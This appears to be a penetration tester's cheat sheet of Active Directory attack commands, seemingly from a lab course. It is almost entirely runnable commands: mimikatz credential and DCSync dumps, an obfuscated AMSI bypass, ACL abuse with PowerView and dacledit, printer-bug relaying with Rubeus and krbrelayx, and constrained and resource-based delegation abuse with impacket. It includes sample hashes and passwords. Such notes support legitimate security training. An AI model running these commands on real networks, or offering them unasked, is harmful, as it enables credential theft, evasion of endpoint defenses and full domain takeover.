Active Directory
.\mimi.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets" "lsadump::dcsync /all /csv" "exit"
nxc smb 172.16.177.168 -u pete -p sdfsdSE423 -d complyedge.com -M ntdsutil
nxc smb 172.16.177.160 172.16.177.165 192.168.177.169 172.16.177.166 172.16.177.167 -u jim -H e48c13cefd8f9456d79cd49651c134e8 -d complyedge.com
Enumeration
#initiate powershell session that allow script import
powershell -ep bypass
#bypass AMSI
$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils';$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c));$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static');$e.SetValue($null,$true)
#test AMSI bypass
'amsiutils'
#load module
. .\powerview.ps1
Get-ObjectAcl -Identity -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | ft
#at current user context - querying access right towards domain user (GenericAll / WriteDACL)
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
#at current user context - querying access right towards domain group (GenericAll / WriteDACL)
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
#querying access right towards computer accounts (for RBCD)
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Where-Object { $_.ActiveDirectoryRights -like '*GenericWrite*' }
Abusing GenericAll
GenericAll access right gives the user of the Identify
full control over the ObjectDN
account, allows the change of password on it without knowledge of the old password among other things:
net user testservice1 newpassword /domain
For domain group, we can compromise the group by simply adding ourselves to it. We can also use the AllExtendedRights and access rights in a similar way as with user accounts.
net group testgroup offsec /add /domain
Abusing WriteDACL
Permission to modify the DACL itself. We can apply additional access rights such as GenericAll, , or even DCSync if the targeted object is the domain object.
Add-DomainObjectAcl -TargetIdentity testservice2 -PrincipalIdentity offsec -Rights All
Get-ObjectAcl -Identity testservice2 -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
./dacledit.py -action 'write' -rights 'FullControl' -principal 'sqlsvc' -target-dn 'CN=MAILADMINS,OU=TGROUPS,DC=TRICKY,DC=COM' tricky/sqlsvc:4dfgdfFFF542 -dc-ip 172.16.186.150
./dacledit.py -action 'read' -principal 'sqlsvc' -target-dn 'CN=MAILADMINS,OU=TGROUPS,DC=TRICKY,DC=COM' tricky/sqlsvc:4dfgdfFFF542 -dc-ip 172.16.186.150
We then can perform the abuse of GenericAll with previous mentioned ways.
Unconstrained Delegation
Get-DomainComputer -Unconstrained
name : APPSRV01
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, *TRUSTED_FOR_DELEGATION*
#Get access into the target vulnerable server - APPSRC01
0#check current ticket
.\Rubeus.exe dump /nowrap
1#check share & find intersting group permitted
net share
icacls C:\shares\engineering
##At this point, we either have to wait for someone to visit the share, or conduct social engineering to trick someone into visiting it.##
2#after an user access to the share (used the appsrv01 share service), we can get forwardable tgt of the user
.\Rubeus.exe dump /nowrap
.\rubeus.exe ptt /ticket:{base64 krbtgt of the victim user}
3#we have their ticket in hand and be able to access service on their behalf
klist
dir \\files02\home$\james
0# check access
ls \\dc01\pipe\spoolss
1# compromised uncontrained delegation enabled host - APPSRV01:
Rubeus.exe monitor /interval:5 /filteruser:DC01$
2# trigger spooler bug when DC01 has the vulnarability
SpoolSample.exe DC01 APPSRV01
3# rubeus captured the base64 ticket in compromised ser
Rubeus.exe ptt /ticket:doIFIjCCBR6gAwIBBaEDAgEWo...
4# DC01$ not DC admin, but can dcsync
lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt
#Armed with the krbtgt NTLM hash, we can craft a golden ticket and obtain access to any resource in the domain. Alternatively, we can dump the password hash of a member of the Domain Admins group.
ls \\rdc01\pipe\spoolss
Rubeus.exe monitor /interval:5 /filteruser:RDC01$
.\SpoolSample.exe rdc01.corp1.com appsrv01.prod.corp1.com
Rubeus.exe ptt /ticket:doIE9DCCBPCgAwIBBaEDAgEWooIEBDCCBABhggP8MIID+...
#root dc account can do dcsync to get root domain Admin account hash
lsadump::dcsync /domain:corp1.com /user:corp1\administrator
#if we obtain Domain Admin privileges in prod.corp1.com through some other vector, we could configure a server with unconstrained Kerberos delegation and use that to compromise any other domain in the forest.
With krbrelayx (no rubeus)
Owned computer account with unconstrained delegation enabled (FILES01).
Printer bug on a domain controller (DC01).
Permissions to add an SPN for the owned computer account and a new DNS record in AD.
###kali /etc/resolv.conf: nameserver dc.ip###
0# dump compromised machine acc hash & aes key with compromised admin account on the owned vulnerable app ser
impacket-secretsdump corp/adam:'4Toolsfigure3'@file01.corp.com
1# query & add a malicious SPN for the owned computer account with unconstrained delegation
python ./addspn.py -u 'compromised\machineacc$' -p 'pwd/lm:ntlm' {dc/ldap://ip} -q
python ./addspn.py -u 'CORP\FILES01$' -p 'pwd/lm:ntlm' ldap://dc.ip/dcname -s HOST/evil.corp.com --additional
2# Add a DNS record pointing to the attacker's host & verify
python dnstool.py -u 'CORP\FILES01$' -p 'pwd/lm:ntlm' -r evil.corp.com -d {attacker ip} --action add {dc/ip}
nslookup evil.corp.com {dc ip}
3# Setup listner
python krbrelayx.py -aesKey 8d87dc0af67a6443fc382954f2d14b5d54265c61467d17339ff965013aef15dd
3.5# trigger printer bug with the compromised vulnerable computer account (must need resolv.conf set nameserver with target dc ip and use dc.domain.com)
python printerbug.py CORP/'FILES01$'@dc01.corp.com -hashes 'pwd/ln:ntlm' evil.corp.com
4# use the captured krbtgt ticket to dcsync
export KRB5CCNAME=`pwd`/'[email protected][email protected]'
klist
impacket-secretsdump DC01.corp.com -dc-ip <DC01_IP> -k -no-pass
5# use the admin credentials
impacket-psexec [email protected] -hashes 'aad3b435b51404eeaad3b435b51404ee:96b927ecd4785badb8b50bc175c101c4' -dc-ip 192.168.194.100
Constrained Delegation
While unconstrained delegation allows the service to perform authentication to anything in the domain, constrained delegation limits the delegation scope. Kerberos protocol does not natively support constrained delegation by default.
Does not matter which domain user or endpoint is used.
Get-DomainUser -TrustedToAuth
samaccountname : IISSvc
msds-allowedtodelegateto : {MSSQLSvc/CDC01.prod.corp1.com:SQLEXPRESS,
MSSQLSvc/cdc01.prod.corp1.com:1433}
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, *TRUSTED_TO_AUTH_FOR_DELEGATION*
If we compromise the IISSvc account, we can request a service ticket to IIS for any user in the domain, including a domain administrator. (need the account password hash but not need to be in its context)
#convert to hash if clear text pw of the vulnerable service account obtained
.\Rubeus.exe hash /password:lab
#obtain tgt from the compromised service account context
.\Rubeus.exe asktgt /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E
#use the service account tgt to impersonate as privileged use to access the vulnerable service
.\Rubeus.exe s4u : /impersonateuser:administrator /msdsspn: /ptt
#>> login to the mssql server in dc as admin
#
.\Rubeus.exe s4u /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /ptt
#need to have the vulnerable account compromised & has its hash
impacket-getTGT corp.com/iissvc -hashes :12bb0b468b42c76d48a3a5ceb8ade2e9 -dc-ip {}
#set env with the stolen TGT for using it
export KRB5CCNAME=iissvc.ccache
#request ticket with the stolen TGT from service account the contrained set
impacket-getST -spn mssqlsvc/sql01.corp.com:1433 -impersonate administrator corp.com/iissvc -k -no-pass -dc-ip {}
#set env with the stolen impersonated previleged user ticket to use it accessing the vulnerable service
export KRB5CCNAME=administrator.ccache
impacket-mssqlclient sql01.corp.com -no-passs -k -dc-ip {}
Resource-Based Constrained Delegation
We can compromise a backend service that has a compromised frontend service SID configured in its msDS-AllowedToActOnBehalfOfOtherIdentity property. The frontend service can use S4U2Self to request the forwardable TGS for any user to itself followed by S4U2Proxy to create a TGS for that user to the backend service. We can request admin account context on the frontend service to access the backend service.
This specific vector starts by compromising a domain account that has the GenericWrite access right on a computer account object. This technique is the only known way of turning GenericWrite on a computer object into code execution.
#powerview
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Where-Object { $_.ActiveDirectoryRights -like '*GenericWrite*' }
#check
ObjectDN : CN=APPSRV01,OU=prodComputers,DC=prod,DC=corp1,DC=com
ActiveDirectoryRights : ListChildren, ReadProperty, *GenericWrite*
Identity : CORP\mary
Since we have GenericWrite on appsrv01 (backend service), we can update any non-protected property on that object, including msDS-AllowedToActOnBehalfOfOtherIdentity and add the SID of a different computer (controlled frontend service).
We either have to obtain the password hash of a computer account or simply create a new computer account object with a selected password to act in the context of that computer account, and then execute the S4U2Self and S4U2Proxy extensions to obtain a TGS for appsrv01 after adding the SID of the controlled computer account in its msDS-AllowedToActOnBehalfOfOtherIdentity property.
By default, any authenticated user can add up to ten computer accounts to the domain and they will have SPNs set automatically.
Get-DomainObject -Identity prod -Properties ms-DS-MachineAccountQuota
Through Kali
#1. create computer account with compromised user credentials
impacket-addcomputer -computer-name 'myComputer$' -computer-pass 'kali1234' corp.com/mary -hashes :942f15864b02fdee9f742616ea1eb778 -dc-ip {}
#2 set the property (auto creat new account's SD from its SID, convert to byte array, and set the property)
impacket-rbcd -action write -delegate-to "APPSRV01$" -delegate-from "myComputer$" corp.com/mary -hashes :942f15864b02fdee9f742616ea1eb778 -dc-ip {}
#3 impersonate admin user getting its ticket by sending request with our computer object
impacket-getST -spn -impersonate administrator 'corp.com/myComputer$:h4x' -dc-ip {}
#4 use the ticket towards the vulnerable server
export KRB5CCNAME=`pwd`/'administrator.ccache'
impacket-psexec [email protected] -k -no-pass -dc-ip {}
#mimikatz.exe to dump other creds and further compromise other server
#e.g. mimi > MSSQL creds > RCE > PrintSpoofer > mimikatz > dc creds
Through Windows
. .\powermad.ps1
New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-SecureString 'password' -AsPlainText -Force)
Get-DomainComputer -Identity myComputer
$sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
Get-DomainComputer -Identity appsrv01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
$RBCDbytes = Get-DomainComputer appsrv01 -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0
#check for SecurityIdentifier : S-1-5-21-3776646582-2086779273-4091361643-2101
$Descriptor.DiscretionaryAcl
#check if it matches the created / compromised computer account we own & using
ConvertFrom-SID S-1-5-21-3776646582-2086779273-4091361643-2101
It is not normally possible to set the msDS-AllowedToActOnBehalfOfOtherIdentity property for an arbitrary computer account. However, since our login user has the GenericWrite (also possible with GenericAll, WriteProperty, WriteDACL) access right to appsrv01, we can set this property.
Once a SID of the computer account is added, we can act in the context of that computer account and then execute the S4U2Self and S4U2Proxy extensions to obtain a TGS for appsrv01.
#get computer account hash
.\Rubeus.exe hash /password:
.\Rubeus.exe s4u /user:myComputer$ /rc4:AA6EAFB522589934A6E5CE92C6438221 /impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt
psexec -eula //appsrv01.prod.corp1.com cmd
#mimikatz.exe to dump other creds and further compromise other server
#e.g. mimi > MSSQL creds > RCE > PrintSpoofer > mimikatz > dc creds
After obtaining the TGT for the myComputer machine account, S4U2Self will then request a forwardable service ticket as the administrator user to the myComputer computer account. Finally, S4U2Proxy is invoked to request a TGS for the CIFS service on appsrv01 as the admin user and injected into memory.
Our access to appsrv01 is in the context of the administrator domain admin user. We can use our CIFS access to obtain code execution on appsrv01, but in the process we will perform a network login instead of an interactive login. This means our access will be limited to appsrv01 and cannot directly be used to expand access towards the rest of the domain.
Last updated